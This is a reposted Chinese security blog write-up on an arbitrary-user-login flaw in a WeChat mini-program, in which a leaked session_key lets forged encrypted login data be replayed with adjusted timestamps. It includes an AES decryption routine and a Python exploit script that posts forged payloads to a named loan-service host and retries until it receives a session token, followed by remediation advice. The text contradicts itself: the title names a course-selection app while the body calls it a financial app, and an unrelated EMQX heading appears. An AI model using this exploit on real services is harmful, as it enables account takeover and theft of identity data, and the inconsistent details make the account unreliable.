某选课小程序任意用户登录漏洞深度剖析

admin 2025年7月9日01:54:34评论1 views字数 2833阅读9分26秒阅读模式

记一次外网到EMQX 后渗透

一、漏洞场景复现

(一)漏洞复现

  1. 目标系统:某金融类小程序(版本V2.3.1)
某选课小程序任意用户登录漏洞深度剖析
  1. 测试工具:Burp Suite Pro v1.8.4 + WechatDevTools v1.18.0
  2. 关键参数
    • encryptedData:AES-CBC加密的用户敏感数据
    • iv:16字节初始化向量
    • jsCode:微信登录临时凭证(有效期5分钟)
    • 缺失参数:session_key(会话密钥)

1、抓包,发现有encryptedData和iv,但少了sessionkey,却多了jsCode等巴拉巴拉的参数和参数值。

某选课小程序任意用户登录漏洞深度剖析发现appletLoginAuthUri所需要的参数,正好都一并泄露了,传入值,访问后 嗯,这不是正缺少的sessionkey吗

某选课小程序任意用户登录漏洞深度剖析使用bp的插件进行解密,发现sessionkey和iv和密文都是正确的,可以成功解出明文。

某选课小程序任意用户登录漏洞深度剖析重新生成密文,替换为原来的请求包,但是一直无法登录成功(没截图)猜测是时间戳的问题 重复原来的操作,并替换时间戳。

某选课小程序任意用户登录漏洞深度剖析
某选课小程序任意用户登录漏洞深度剖析

某选课小程序任意用户登录漏洞深度剖析到此成功登录。

二、漏洞原理分析

(一)加密链路缺陷

  1. 前端暴露密钥要素通过小程序逆向工程发现:

    // wx.login接口明文返回jsCodewx.login({  success(res) {console.log(res.code); // 直接暴露jsCode  }});
  2. 后端响应泄露密钥材料抓取登录接口响应包:

    HTTP/1.1 200 OKContent-Type: application/json{  "encryptedData": "...",  "iv": "...",  "session_key": "0123456789abcdef0123456789abcdef" // 核心密钥泄露}

(二)攻击链路推演

graph TD    A[获取jsCode] --> B[构造虚假登录请求]    B --> C{后端响应}    C -->|包含session_key| D[解密encryptedData]    D --> E[伪造完整会话]    E --> F[绕过实名认证]

三、漏洞利用实战

(一)密钥重组

  1. AES-CBC参数准备

    from Crypto.Cipher import AESimport base64defdecrypt(session_key, iv, encrypted_data):    cipher = AES.new(session_key, AES.MODE_CBC, iv)    decrypted = cipher.decrypt(base64.b64decode(encrypted_data))return decrypted.decode('utf-8')
  2. 时间戳同步突破发现服务端时间校验逻辑:

    // 后端时间校验代码片段long clientTime = request.getHeader("X-Timestamp");if (Math.abs(clientTime - System.currentTimeMillis()) > 300000) {thrownew InvalidTimestampException();}

(二)自动化攻击脚本

import requestsimport timeTARGET_URL = "https://api.wechat-loan.com/login"HEADERS = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.36","X-Requested-With": "XMLHttpRequest"}defexploit():# 获取当前时间戳(毫秒)    timestamp = int(time.time() * 1000)# 构造恶意请求    payload = {"jsCode": "023f4a5b6c8d9e0f1a2b3c4d5e6f7a8b9c","encryptedData": "CvYyQ2...","iv": "XyZwVu...","timestamp": timestamp    }# 发送请求    response = requests.post(TARGET_URL, json=payload, headers=HEADERS)# 时间戳修正循环while"invalid timestamp"in response.text.lower():        timestamp += 1000# 毫秒级微调        payload["timestamp"] = timestamp        response = requests.post(TARGET_URL, json=payload, headers=HEADERS)return response.json()if __name__ == "__main__":    session = exploit()    print("Session Token:", session.get("token"))

四、漏洞危害评估

(一)攻击面分析

  1. 数据窃取链路

    • 用户实名信息(姓名/身份证号)
    • 微信绑定手机号
    • 设备硬件特征码
    • 通过encryptedData可解析出:
  2. 业务风险场景

    • 绕过风控策略批量注册虚假账号
    • 操纵高价值账户进行非法转账
    • 结合短信嗅探实现完整账户接管

五、防御体系重构建议

(一)加密机制升级

  1. 密钥管理体系

    • 采用ECDH密钥协商协议动态生成session_key
    • 实现密钥轮转机制(每7天更换)
  2. 加密算法强化

    // 推荐加密方案(Java实现)Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");cipher.init(Cipher.ENCRYPT_MODE, secretKey, new GCMParameterSpec(128, iv));

(二)时间戳防御矩阵

  1. 时钟回拨防护

    # 服务端时间校验逻辑defvalidate_timestamp(client_ts):    server_ts = time.time()if abs(server_ts - client_ts) > 5 * 60:raise TimeAttackDetected()if client_ts < (server_ts - 300):raise TimestampBacktrackDetected()
  2. 时区标准化处理强制所有请求携带X-Timezone头并进行UTC时间校准。

六、总结与启示

本案例揭示了典型移动端安全三大黑洞:

  1. 加密组件滥用:AES-CBC模式缺乏完整性保护
  2. 时间校验缺失:5分钟时间窗口足以实施暴力破解
  3. 敏感参数泄露:前端暴露关键密钥要素

建议企业立即开展:

  1. 小程序专项安全审计(每季度一次)
  2. 建立API参数黑白名单管控机制
  3. 部署RASP实时攻击检测系统

 

原文始发于微信公众号(不秃头的安全):【SRC】某选课小程序任意用户登录漏洞深度剖析

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月9日01:54:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某选课小程序任意用户登录漏洞深度剖析https://cn-sec.com/archives/4232510.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息